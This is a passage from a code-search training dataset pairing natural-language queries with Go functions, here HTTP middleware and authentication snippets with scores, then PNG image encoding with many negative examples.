{\n\t\t\tvar loginValues login\n\n\t\t\tif err := c.ShouldBind(&loginValues); err != nil {\n\t\t\t\treturn \"\", jwt.ErrMissingLoginValues\n\t\t\t}\n\n\t\t\tfind := &dto.FindManagers{Email: loginValues.Email}\n\t\t\tmanager := drepository.Manager{}\n\t\t\t_ = manager.FindOne(find)\n\n\t\t\tif err := bcrypt.CompareHashAndPassword(\n\t\t\t\t[]byte(manager.Password), []byte(loginValues.Password)); err == nil {\n\t\t\t\treturn manager, nil\n\t\t\t}\n\n\t\t\treturn nil, jwt.ErrFailedAuthentication\n\t\t},\n\t\tAuthorizator: func(data interface{}, c *gin.Context) bool {\n\t\t\tif v, ok := data.(drepository.Manager); ok {\n\t\t\t\tc.Set(a.IdentityKey, v.ID)\n\t\t\t\tc.Set(\"email\", v.Email)\n\t\t\t\treturn true\n\t\t\t}\n\t\t\treturn false\n\t\t},\n\t\tUnauthorized: func(c *gin.Context, code int, message string) {\n\t\t\tc.JSON(code, gin.H{\n\t\t\t\t\"code\": code,\n\t\t\t\t\"message\": message,\n\t\t\t})\n\t\t},\n\n\t\tTokenLookup: \"header: Authorization, query: token, cookie: token\",\n\t\tTokenHeadName: \"Bearer\",\n\t\tTimeFunc: time.Now,\n\t})\n\n\tif err != nil {\n\t\tlog.Fatal(\"JWT Error:\" + err.Error())\n\t}\n\n\treturn middleware, err\n}", "func Middleware(f MiddlewareFunc) {\n\tDefaultMux.Middleware(f)\n}", "func Middleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tDebug.Println(\"Method received is :\", r.Method)\n\t\tswitch m := r.Method; string(m) {\n\t\t//On get method token verification is skipped\n\t\tcase \"GET\":\n\t\t\tInfo.Println(\"On Get Method, no authentication needed\")\n\t\t\t//Authorization process on middleware not needed, head on to request handlers\n\t\t\tnext.ServeHTTP(w, r)\n\t\t//Verify token for the following methods\n\t\tcase \"POST\", \"PUT\", \"DELETE\":\n\t\t\tsentToken := r.Header.Get(\"Authorization\")\n\t\t\tInfo.Println(\"Checking token\", sentToken)\n\t\t\tauthError := simpleAuth(w, r)\n\t\t\tif authError != \"\" {\n\t\t\t\tNotAuthorized(w, r)\n\t\t\t\tInfo.Println(\"Not token given ! \")\n\t\t\t} else {\n\t\t\t\t//Authorization process on middleware level done, head on to request handlers\n\t\t\t\tnext.ServeHTTP(w, r)\n\t\t\t}\n\t\t//In case a non defined http method is sent\n\t\tdefault:\n\t\t\tfmt.Print(\"not here \")\n\t\t\tw.Write([]byte(\"Not a supported http method\"))\n\t\t\t//Error.Fatal(\"Not a supported method ! \")\n\t\t}\n\t\tInfo.Println(\"End of middle level...\")\n\t})\n}", "func UseMiddleware(mw ...Middleware) func(http.HandlerFunc) http.Handler {\n\treturn func(fn http.HandlerFunc) http.Handler {\n\t\treturn useMiddlewareHandler(fn, mw...)\n\t}\n}", "func (e *Engine) Middleware(middleware ...Handler) *Middleware {\n\treturn &Middleware{\n\t\tchain: middleware,\n\t\tengine: e,\n\t}\n}", "func Middleware(\n\tenv *Env,\n) func(http.Handler) http.Handler {\n\treturn func(h http.Handler) http.Handler {\n\t\treturn middleware{h, env}\n\t}\n}", "func InitMiddleware() *Middleware {\n\treturn &Middleware{}\n}", "func ChainMiddleware(mw ...Middleware) Middleware {\n\treturn func(final Handler) Handler {\n\t\treturn func(ctx context.Context, req Request) Response {\n\t\t\tlast := final\n\t\t\tfor i := len(mw) - 1; i >= 0; i-- {\n\t\t\t\tlast = mw[i](last)\n\t\t\t}\n\n\t\t\t// last middleware\n\t\t\treturn last(ctx, req)\n\t\t}\n\t}\n}", "func ChainMiddleware(mw ...Middleware) Middleware {\n\treturn func(final Handler) Handler {\n\t\treturn func(ctx context.Context, req Request) Response {\n\t\t\tlast := final\n\t\t\tfor i := len(mw) - 1; i >= 0; i-- {\n\t\t\t\tlast = mw[i](last)\n\t\t\t}\n\n\t\t\t// last middleware\n\t\t\treturn last(ctx, req)\n\t\t}\n\t}\n}", "func (s *Subrouter) HandleMiddlewares(m, p string, mids ...interface{}) {\n\tk := s.prefix + resolvedPath(p)\n\n\ts.initEndp(k)\n\n\tfor _, mid := range mids {\n\t\tif h, ok := mid.(http.Handler); ok {\n\t\t\ts.endps[k][m] = append(s.endps[k][m], h)\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif hfunc, ok := mid.(func(http.ResponseWriter, *http.Request)); ok {\n\t\t\ts.endps[k][m] = append(s.endps[k][m], http.HandlerFunc(hfunc))\n\t\t}\n\t}\n}", "func WithMiddleware(middleware Middleware, rs ...Route) []Route {\n\troutes := make([]Route, len(rs))\n\n\tfor i := range rs {\n\t\troute := rs[i]\n\t\troutes[i] = Route{\n\t\t\tMethod: route.Method,\n\t\t\tPath: route.Path,\n\t\t\tHandler: middleware(route.Handler),\n\t\t}\n\t}\n\n\treturn routes\n}", "func getAppsHandler(w http.ResponseWriter, r *http.Request) {\n\tvar apps []App\n\terr := getApps(&apps)\n\tcheck(err)\n\trespondWithResult(w, apps)\n}", "func (controller *WidgetsController) GetRoutes() []string {\n\treturn []string{\n\t\t\"api/widgets\",\n\t}\n}", "func setupMiddlewares(handler http.Handler) http.Handler {\n\treturn responseLoggingMiddleware(handler)\n}", "func composeMiddleware(middlewares ...*Middleware) *Middleware {\n\treturn &Middleware{\n\t\tAPI: func(h http.Handler) http.Handler {\n\t\t\tfor _, m := range middlewares {\n\t\t\t\th = m.API(h)\n\t\t\t}\n\t\t\treturn h\n\t\t},\n\t\tApp: func(h http.Handler) http.Handler {\n\t\t\tfor _, m := range middlewares {\n\t\t\t\th = m.App(h)\n\t\t\t}\n\t\t\treturn h\n\t\t},\n\t}\n}", "func FiberMiddleware(a *fiber.App) {\n\ta.Use(\n\t\t// Add CORS to each route.\n\t\tcors.New(cors.Config{\n\t\t\tAllowCredentials: true,\n\t\t}),\n\t\t// Add simple logger.\n\t\tlogger.New(),\n\t\t// Add helmet to secure app by setting various HTTP headers\n\t\thelmet.New(),\n\t\t// Add rate limiting\n\t\tlimiter.New(\n\t\t\tlimiter.Config{\n\t\t\t\tMax: 200,\n\t\t\t\tNext: func(c *fiber.Ctx) bool {\n\t\t\t\t\t\n\t\t\t\t\texcludePaths := []string{\"views\",\"scores\"}\n\t\t\t\t\tvar next bool\n\t\t\t\t\tfor _, path := range excludePaths{\n\t\t\t\t\t\tnext = strings.Contains(c.Route().Path, path)\n\t\t\t\t\t}\n\t\t\t\t\treturn next\n\t\t\t\t},\n\t\t\t},\n\t\t),\n\t)\n}", "func (router *Router) Handlers() gin.HandlersChain {\n\treturn router.currentRouter.Handlers\n}", "func AuthMiddleware() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tauthHeader := c.GetHeader(\"authorization\")\n\t\tif authHeader == \"\" || len(authHeader) < len(\"Token\")+1 {\n\t\t\trestErr := resterror.NewUnAuthorizedError()\n\t\t\tc.JSON(restErr.StatusCode, restErr)\n\t\t\tc.Abort()\n\t\t\treturn\n\t\t}\n\n\t\ttoken := authHeader[len(\"Token \"):]\n\n\t\tauthService := services.JWTAuthService()\n\t\tresult, err := authService.ValidateToken(token)\n\t\tif err != nil || !result.Valid {\n\t\t\trestErr := resterror.NewUnAuthorizedError()\n\t\t\tc.JSON(restErr.StatusCode, restErr)\n\t\t\tc.Abort()\n\t\t\treturn\n\t\t}\n\n\t\tclaims := result.Claims.(jwt.MapClaims)\n\t\tc.Set(\"user_id\", claims[\"user_id\"])\n\t\tc.Set(\"is_admin\", claims[\"is_admin\"])\n\n\t\tc.Next()\n\t}\n}", "func GetRoutes() *httprouter.Router {\n\trouter := httprouter.New()\n\t///////////////////////////////////////////////////////////\n\t// Main application routes\n\t///////////////////////////////////////////////////////////\n\n\tapplication := controllers.Application{}\n\trouter.GET(\"/\", route(application.Index))\n\trouter.GET(\"/api/products\", route(application.AllProducts))\n\trouter.GET(\"/api/products/match\", route(application.Match))\n\n\t///////////////////////////////////////////////////////////\n\t// Static routes\n\t// Caching Static files\n\t///////////////////////////////////////////////////////////\n\tfileServer := http.FileServer(http.Dir(\"public\"))\n\trouter.GET(\"/static/*filepath\", gzip.Middleware(func(res http.ResponseWriter, req *http.Request, pm httprouter.Params) {\n\t\tres.Header().Set(\"Vary\", \"Accept-Encoding\")\n\t\tres.Header().Set(\"Cache-Control\", \"public, max-age=7776000\")\n\t\treq.URL.Path = pm.ByName(\"filepath\")\n\t\tfileServer.ServeHTTP(res, req)\n\t}))\n\treturn router\n}", "func Default() Middleware {\n\treturn defaultMiddleware\n}", "func ChainMiddleware(f http.Handler, middlewares ...Middleware) http.Handler {\n\tfor _, m := range middlewares {\n\t\tf = m(f)\n\t}\n\treturn f\n}", "func handleMiddlewares(ctx context.Context, m []Middlewarer) error {\n\tfor i := 0; i < len(m); i++ {\n\t\tif err := m[i].Do(ctx); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func Middleware(ce *casbin.Enforcer, sc DataSource) echo.MiddlewareFunc {\n\tc := DefaultConfig\n\tc.Enforcer = ce\n\tc.Source = sc\n\treturn MiddlewareWithConfig(c)\n}", "func GetAuthMiddleware(cfg *types.Config) gin.HandlerFunc {\n\tif !cfg.OIDCEnable {\n\t\treturn gin.BasicAuth(gin.Accounts{\n\t\t\t// Use the config's username and password for basic auth\n\t\t\tcfg.Username: cfg.Password,\n\t\t})\n\t}\n\treturn CustomAuth(cfg)\n}", "func (r *Router) Middlewares(middlewares Middlewares) *Router {\n\tr.middlewares = middlewares\n\n\treturn r\n}", "func Middleware(next http.Handler) http.Handler {\n\t// requests that go through it.\n\treturn nethttp.Middleware(opentracing.GlobalTracer(),\n\t\tnext,\n\t\tnethttp.OperationNameFunc(func(r *http.Request) string {\n\t\t\treturn \"HTTP \" + r.Method + \" \" + r.URL.String()\n\t\t}))\n}", "func Middleware(e *echo.Echo) {\n\te.Use(\n\t\tmiddleware.Logger(),\n\t\tmiddleware.Recover(),\n\t\tcontext.InjectBezuncAPIContext,\n\t)\n}", "func (m *Middleware) Middleware(middleware ...Handler) *Middleware {\n\treturn &Middleware{\n\t\tchain: append(m.chain, middleware...),\n\t\tengine: m.engine,\n\t}\n}", "func ChainMiddlewares(middlewares []Middleware, handler http.HandlerFunc) http.HandlerFunc {\n\tmiddlewaresCount := len(middlewares)\n\tfor i := middlewaresCount - 1; i >= 0; i-- {\n\t\thandler = middlewares[i](handler)\n\t}\n\treturn handler\n}", "func Middleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif app != nil {\n\t\t\ttxn := app.StartTransaction(r.URL.Path, w, r)\n\t\t\tfor k, v := range r.URL.Query() {\n\t\t\t\ttxn.AddAttribute(k, strings.Join(v, \",\"))\n\t\t\t}\n\t\t\tdefer txn.End()\n\t\t}\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "func (r *Routing) Middleware(middleware ...Middleware) *Routing {\n\tr.middleware = middleware\n\treturn r\n}", "func chainMiddleware(mw ...Middleware) Middleware {\n\treturn func(final http.HandlerFunc) http.HandlerFunc {\n\t\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\t\tlast := final\n\t\t\tfor i := len(mw) - 1; i >= 0; i-- {\n\t\t\t\tlast = mw[i](last)\n\t\t\t}\n\t\t\tlast(w, r)\n\t\t}\n\t}\n}", "func Middleware(store sessions.Store) echo.MiddlewareFunc {\n\tc := DefaultConfig\n\tc.Store = store\n\treturn MiddlewareWithConfig(c)\n}", "func GetRoutes() *mux.Router {\n\trouter := mux.NewRouter()\n\trouter.HandleFunc(\"/api/V1/getInfoCurp/{encode_curp}\", getInfoCurp).Name(\"getInfoCurp\").Methods(\"GET\")\n\treturn router\n}", "func Chain(f http.HandlerFunc, middlewares ...Middleware) http.HandlerFunc {\n for _, middleware := range(middlewares) {\n f = middleware(f)\n }\n return f\n}", "func FindTokenMiddleware() func(next http.Handler) http.Handler {\n\treturn func(next http.Handler) http.Handler {\n\t\t// functions which find `iam` token\n\t\tfindTokenFns := []findTokenFn{iamTokenFromHeader(\"Authorization\"), iamTokenFromQuery,\n\t\t\tiamTokenFromCookie, iamTokenFromHeader(\"iam\")}\n\t\tfn := func(w http.ResponseWriter, r *http.Request) {\n\t\t\tvar token string\n\t\t\tfor _, fn := range findTokenFns {\n\t\t\t\ttoken = fn(r)\n\t\t\t\tif token != \"\" {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif token == \"\" {\n\t\t\t\tjsend.Wrap(w).Message(ErrNoTokenFound.Error()).Status(http.StatusUnauthorized).Send()\n\t\t\t} else {\n\t\t\t\tctx := context.WithValue(r.Context(), RequestContext(\"token\"), token)\n\t\t\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t\t\t}\n\t\t}\n\t\treturn http.HandlerFunc(fn)\n\t}\n}", "func Middleware(next http.Handler, options MiddlewareOptions) http.Handler {\n\treturn &ipFilteringMiddleware{IpFiltering: New(options.Options), options: options, next: next}\n}", "func getControllerRPCHandler(anonymous bool) http.Handler {\n\tvar mwHandlers = []MiddlewareHandler{\n\t\tTimeValidityHandler,\n\t}\n\tif !anonymous {\n\t\tmwHandlers = append(mwHandlers, RPCSignatureHandler)\n\t}\n\n\ts := jsonrpc.NewServer()\n\tcodec := json.NewCodec()\n\ts.RegisterCodec(codec, \"application/json\")\n\ts.RegisterCodec(codec, \"application/json; charset=UTF-8\")\n\ts.RegisterService(new(controllerRPCService), \"Controller\")\n\tmux := router.NewRouter()\n\t// Add new RPC services here\n\tmux.Handle(\"/rpc\", s)\n\tmux.Handle(\"/{file:.*}\", http.FileServer(assetFS()))\n\n\trpcHandler := registerCustomMiddleware(mux, mwHandlers...)\n\treturn rpcHandler\n}" ]
[ "0.6419103", "0.6211688", "0.61628675", "0.6031341", "0.5955591", "0.5802908", "0.56362545", "0.54032224", "0.5367737", "0.53534836", "0.53442407", "0.529051", "0.5279008", "0.52649045", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.5256612", "0.521647", "0.5192364", "0.51825863", "0.5174428", "0.51515365", "0.5149336", "0.5125414", "0.5121024", "0.51113814", "0.5094834", "0.5090577", "0.5086743", "0.50555545", "0.5042353", "0.5030691", "0.5012101", "0.5008519", "0.50054353", "0.49823117", "0.49772537", "0.49686903", "0.49553296", "0.4948817", "0.49194828", "0.49031052", "0.48996213", "0.4890169", "0.4881907", "0.48812118", "0.48748577", "0.48716825", "0.48698723", "0.485605", "0.485605", "0.48414254", "0.48329777", "0.48222396", "0.4820438", "0.48171923", "0.48109463", "0.4809756", "0.48007685", "0.4797644", "0.4788448", "0.4787487", "0.47852716", "0.47841188", "0.47837612", "0.4774847", "0.47642308", "0.47642002", "0.4763142", "0.47615755", "0.47529924", "0.47464553", "0.47457775", "0.47363845", "0.47294402", "0.47173697", "0.47136715", "0.4704914", "0.4703712", "0.47023794" ]
0.7565483
0
Encode takes an image and writes the encoded png image to it.
func Encode(i image.Image, w http.ResponseWriter) error { w.Header().Set("Content-Type", "image/png") encoder := png.Encoder{ CompressionLevel: png.BestCompression, } if err := encoder.Encode(w, i); err != nil { return errors.Wrap(err, "can't encode the png") } return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (p *pngEncoder) Encode(img image.Image) error {\n\tfile, err := os.OpenFile(fmt.Sprintf(p.path, p.frame), os.O_WRONLY|os.O_CREATE, os.ModePerm)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = file.Truncate(0)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = png.Encode(file, img)\n\tif err != nil {\n\t\treturn err\n\t}\n\tp.frame++\n\treturn nil\n}", "func Encode(w io.Writer, m image.Image) error {}", "func Encode(w io.Writer, m image.Image, o *Options) error", "func Encode(w io.Writer, m image.Image, o *Options) error", "func encodePNG(dstFilename string, src image.Image) error {\n\tf, err := os.Create(dstFilename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tencErr := png.Encode(f, src)\n\tcloseErr := f.Close()\n\tif encErr != nil {\n\t\treturn encErr\n\t}\n\treturn closeErr\n}", "func Encode(w io.Writer, img image.Image, format Format) error {\n\tvar err error\n\n\tswitch format {\n\tcase PNG:\n\t\terr = png.Encode(w, img)\n\tcase JPEG:\n\t\terr = jpeg.Encode(w, img, &jpeg.Options{Quality: 95})\n\t}\n\n\treturn err\n}", "func Encode(w io.Writer, m image.Image, opt *Options) (err error) {\n\treturn encode(w, m, opt)\n}", "func WriteImage(i image.Image, path string) error {\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\t// Encode to `PNG` with `DefaultCompression` level\n\t// then save to file\n\terr = png.Encode(f, i)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func execEncode(_ int, p *gop.Context) {\n\targs := p.GetArgs(2)\n\tret := png.Encode(args[0].(io.Writer), args[1].(image.Image))\n\tp.Ret(2, ret)\n}", "func SaveImage(img *image.Image, filename string) {\n Trace.Println(\"SaveImage(\" + filename + \")\")\n\n out, err := os.Create(filename)\n if err != nil {\n Warning.Println(\"Unable to create file '\" + filename + \"': \" + err.Error())\n }\n\n err = png.Encode(out, *img)\n if err != nil {\n Warning.Println(\"Unable to write '\" + filename + \"': \" + err.Error())\n }\n}", "func execmEncoderEncode(_ int, p *gop.Context) {\n\targs := p.GetArgs(3)\n\tret := args[0].(*png.Encoder).Encode(args[1].(io.Writer), args[2].(image.Image))\n\tp.Ret(3, ret)\n}", "func saveImage(img image.Image, outputFilename string) {\n\toutFile, err := os.Create(outputFilename)\n\tif err != nil {\n\t\tlogger.Fatal(err)\n\t}\n\n\tdefer outFile.Close()\n\tb := bufio.NewWriter(outFile)\n\terr = png.Encode(b, img)\n\tif err != nil {\n\t\tlogger.Fatal(err)\n\t}\n\n\terr = b.Flush()\n\tif err != nil {\n\t\tlogger.Fatal(err)\n\t}\n}", "func EncodeImage(img draw.Image) {\n\tbounds := img.Bounds()\n\n\tswitch inputImg := img.(type) {\n\n\tcase *image.RGBA64:\n\t\tfor i := bounds.Min.Y; i < bounds.Max.Y; i++ {\n\t\t\tfor j := bounds.Min.X; j < bounds.Max.X; j++ {\n\t\t\t\tinputImg.SetRGBA64(j, i, EncodeColor(inputImg.RGBA64At(j, i)))\n\t\t\t}\n\t\t}\n\n\tdefault:\n\t\tfor i := bounds.Min.Y; i < bounds.Max.Y; i++ {\n\t\t\tfor j := bounds.Min.X; j < bounds.Max.X; j++ {\n\t\t\t\timg.Set(j, i, EncodeColor(img.At(j, i)))\n\t\t\t}\n\t\t}\n\t}\n}", "func encodePng(img image.Image) (data []byte, mime string, err error) {\n\tvar buf bytes.Buffer\n\terr = png.Encode(&buf, img)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\treturn buf.Bytes(), \"image/png\", nil\n}", "func EncodePng(scope *Scope, image tf.Output, optional ...EncodePngAttr) (contents tf.Output) {\n\tif scope.Err() != nil {\n\t\treturn\n\t}\n\tattrs := map[string]interface{}{}\n\tfor _, a := range optional {\n\t\ta(attrs)\n\t}\n\topspec := tf.OpSpec{\n\t\tType: \"EncodePng\",\n\t\tInput: []tf.Input{\n\t\t\timage,\n\t\t},\n\t\tAttrs: attrs,\n\t}\n\top := scope.AddOperation(opspec)\n\treturn op.Output(0)\n}", "func WritePngImage(byteImage ByteImage, pngFile *os.File) (string, error) {\n\t// compute images values\n\timgWidth := byteImage.width\n\timgHeight := byteImage.height\n\t// create image\n\timgRect := image.Rect(0, 0, imgWidth, imgHeight)\n\timg := image.NewGray(imgRect)\n\timg.Pix = byteImage.bytes\n\timg.Stride = imgWidth\n\t// write image\n\terr := png.Encode(pngFile, img)\n\t// if err != nil {\n\t// \tlog.Println(err)\n\t// \tos.Exit(1)\n\t// }\n\treturn pngFile.Name(), err\n}", "func WriteImage(imgToWrite image.Image, fileName string) {\n\tnewfile, err := os.Create(fileName)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer newfile.Close()\n\tpng.Encode(newfile, imgToWrite)\n}", "func encodeImage(w io.Writer, img image.Image, format Format) bool {\n\tswitch format {\n\tcase JPEG:\n\t\treturn jpeg.Encode(w, img, &jpeg.Options{Quality: 80}) != nil\n\n\tcase PNG:\n\t\tencoder := png.Encoder{CompressionLevel: 90 }\n\t\treturn encoder.Encode(w, img) != nil\n\n\t}\n glog.Errorf(\"ERR: ErrUnsupportedFormat\")\n\treturn false\n}", "func Encode(w io.Writer, m image.Image) error {\n\te := &encoder{\n\t\tw: w,\n\t\tbuff: bytes.NewBuffer([]byte{}),\n\t\tzbuff: bytes.NewBuffer([]byte{}),\n\t\tcrc: crc32.NewIEEE(),\n\t}\n\n\tif err := png.Encode(e.buff, fixAlphaChannel(m)); err != nil {\n\t\treturn err\n\t}\n\n\tif err := e.makeHeader(); err != nil {\n\t\treturn err\n\t}\n\n\tif err := e.makeCgBI(); err != nil {\n\t\treturn err\n\t}\n\n\tfor e.stage != dsSeenIEND {\n\t\tif err := e.parseChunk(); err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\terr = io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func SaveImage(w io.Writer, content io.Reader, format string) error {\n\timg, _, err := image.Decode(content)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch strings.ToLower(format) {\n\tcase \"img\":\n\t\t_, err = io.Copy(w, content)\n\t\treturn err\n\tcase \"gif\":\n\t\treturn gif.Encode(w, img, nil)\n\tcase \"jpg\", \"jpeg\":\n\t\treturn jpeg.Encode(w, img, &jpeg.Options{Quality: 100})\n\tcase \"png\":\n\t\tpngEncoder := png.Encoder{CompressionLevel: png.BestCompression}\n\t\treturn pngEncoder.Encode(w, img)\n\tdefault:\n\t\treturn errors.New(\"format not found\")\n\t}\n}", "func SaveImage(w io.Writer, content io.Reader, format string) error {\n\timg, _, err := image.Decode(content)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch strings.ToLower(format) {\n\tcase \"img\":\n\t\t_, err = io.Copy(w, content)\n\t\treturn err\n\tcase \"gif\":\n\t\treturn gif.Encode(w, img, nil)\n\tcase \"jpg\", \"jpeg\":\n\t\treturn jpeg.Encode(w, img, nil)\n\tcase \"png\":\n\t\treturn png.Encode(w, img)\n\tdefault:\n\t\treturn errors.New(\"format not found\")\n\t}\n}", "func Encode(w io.Writer, m image.Image, opt *Options) error {\n\tif opt != nil && opt.ColorModel != nil {\n\t\tm = convert.ColorModel(m, opt.ColorModel)\n\t}\n\tif opt != nil && opt.Options != nil {\n\t\treturn tiff.Encode(w, m, opt.Options)\n\t} else {\n\t\treturn tiff.Encode(w, m, nil)\n\t}\n}", "func writeImage(w http.ResponseWriter, img *image.Image) {\r\n\r\n\tbuffer := new(bytes.Buffer)\r\n\tif err := jpeg.Encode(buffer, *img, nil); err != nil {\r\n\t\tlog.Println(\"unable to encode image.\")\r\n\t}\r\n\r\n\tw.Header().Set(\"Content-Type\", \"image/jpeg\")\r\n\tw.Header().Set(\"Content-Length\", strconv.Itoa(len(buffer.Bytes())))\r\n\tif _, err := w.Write(buffer.Bytes()); err != nil {\r\n\t\tlog.Println(\"unable to write image.\")\r\n\t}\r\n}", "func Encode(nativeImage image.Image, parameters imageserver.Parameters) (*imageserver.Image, error) {\n\tbuf := new(bytes.Buffer)\n\terr := png.Encode(buf, nativeImage)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\timage := &imageserver.Image{\n\t\tFormat: \"png\",\n\t\tData: buf.Bytes(),\n\t}\n\n\treturn image, nil\n}", "func EncodeImage(filename string, src image.Image) error {\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tjpeg.Encode(f, src, nil)\n\treturn nil\n}", "func save(fileName string, img image.Image) {\n\tfile, _ := os.Create(fileName)\n\tdefer file.Close()\n\tpng.Encode(file, img)\n}", "func savePNG(name string, img image.Image) {\n\tfilename := outputPrefix + name + \".png\"\n\tfp, err := os.Create(filename)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\terr = png.Encode(fp, img)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func Formatpng(img image.Image, filepath string) (err error) {\n\tout, err := os.Create(filepath)\n\tdefer out.Close()\n\treturn png.Encode(out, img)\n}", "func encodeGIFImage(gameID string, i int) (*image.Paletted, error) {\n\tf, err := os.Open(fileBaseFor(gameID, i) + \".png\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\tinPNG, err := png.Decode(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbounds := inPNG.Bounds()\n\tmyPalette := append(palette.WebSafe, []color.Color{lightColor, darkColor}...)\n\tpalettedImage := image.NewPaletted(bounds, myPalette)\n\tdraw.Draw(palettedImage, palettedImage.Rect, inPNG, bounds.Min, draw.Over)\n\n\treturn palettedImage, nil\n}", "func writeImageWithTemplate(w http.ResponseWriter, img *image.Image) {\n\n\tbuffer := new(bytes.Buffer)\n\tif err := jpeg.Encode(buffer, *img, nil); err != nil {\n\t\tlog.Fatalln(\"unable to encode image.\")\n\t}\n\n\tstr := base64.StdEncoding.EncodeToString(buffer.Bytes())\n\tif tmpl, err := template.New(\"image\").Parse(ImageTemplate); err != nil {\n\t\tlog.Println(\"unable to parse image template.\")\n\t} else {\n\t\tdata := map[string]interface{}{\"Image\": str}\n\t\tif err = tmpl.Execute(w, data); err != nil {\n\t\t\tlog.Println(\"unable to execute template.\")\n\t\t}\n\t}\n}", "func Encode(img *BC5, w io.Writer) error {\n\n\theaderBytes := make([]byte, 12)\n\tbinary.BigEndian.PutUint32(headerBytes[:4], strToDword(\"BC5 \"))\n\tbinary.BigEndian.PutUint32(headerBytes[4:8], uint32(img.Rect.Size().X))\n\tbinary.BigEndian.PutUint32(headerBytes[8:12], uint32(img.Rect.Size().Y))\n\tn, err := w.Write(headerBytes)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif n != 12 {\n\t\treturn errors.New(\"failed to write header\")\n\t}\n\n\tn, err = w.Write(img.Data)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif n != len(img.Data) {\n\t\treturn errors.New(\"failed to write image data\")\n\t}\n\treturn nil\n}", "func exportPNG(img image.Image, path string) {\n\tout, err := os.Create(path)\n\tdefer out.Close()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tpng.Encode(out, img)\n}", "func Encode(w io.Writer, m image.Image, opt *Options) error {\n\tif opt != nil && opt.ColorModel != nil {\n\t\tm = convert.ColorModel(m, opt.ColorModel)\n\t}\n\treturn errors.New(\"jxr: Encode, unsupported\")\n}", "func WritePNG(path string, newIMG image.Image) {\n\tbuf := &bytes.Buffer{}\n\terr := png.Encode(buf, newIMG)\n\tif err != nil {\n\t\tExitErr(err)\n\t} else {\n\t\terr = ioutil.WriteFile(path, buf.Bytes(), 0600)\n\t\tif err != nil {\n\t\t\tExitErr(err)\n\t\t}\n\t}\n}", "func EncodeJpeg(w io.Writer, img Image) (int64, error) {\n\tslice, err := img.image().gdImageJpeg()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn bytes.NewBuffer(slice).WriteTo(w)\n}", "func EncodeNewImg(dstImagePath string, dstImg image.Image) {\n\tdstImgFile, CreateErr := os.Create(dstImagePath)\n\tErrorHandling(CreateErr)\n\tdefer dstImgFile.Close()\n\n\tdstFormat := GetFileExtension(dstImagePath)\n\tswitch dstFormat {\n\tcase \".jpg\":\n\t\tEncodeErr := jpeg.Encode(dstImgFile, dstImg, &jpeg.Options{Quality: 100})\n\t\tErrorHandling(EncodeErr)\n\tcase \".gif\":\n\t\tEncodeErr := gif.Encode(dstImgFile, dstImg, nil)\n\t\tErrorHandling(EncodeErr)\n\tcase \".png\":\n\t\tEncodeErr := png.Encode(dstImgFile, dstImg)\n\t\tErrorHandling(EncodeErr)\n\t}\n}", "func WriteFile(t *testing.T, file string, img image.Image) {\n\tfd, err := os.Create(file)\n\tif err != nil {\n\t\tt.Log(err)\n\t\tt.FailNow()\n\t}\n\tdefer fd.Close()\n\terr = enc.Encode(fd, img)\n\tif err != nil {\n\t\tt.Log(err)\n\t\tt.FailNow()\n\t}\n}", "func NewPNGEncoder() Encoder {\n\treturn &pngEncoder{}\n}", "func SavePNG(img image.Image, filename string) error {\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\treturn png.Encode(f, img)\n}", "func SaveImagePNG(img image.Image, path string) error {\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tpng.Encode(f, img)\n\treturn nil\n}", "func Encode(w io.Writer, m hdr.Image) error {\n\treturn EncodeWithOptions(w, m, Mode6)\n}", "func (enc *JBIG2Encoder) EncodeImage(img image.Image) ([]byte, error) {\n\treturn enc.encodeImage(img)\n}", "func save(img *image.RGBA, fileName string) {\n\tfileName = filepath.Join(os.TempDir(), fileName)\n\tlog.Println(\"Saving to \", fileName)\n\tfile, err := os.Create(fileName)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\tdefer file.Close()\n\tpng.Encode(file, img)\n}", "func SavePNG(filename string, img image.Image) error {\n\toutput, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer 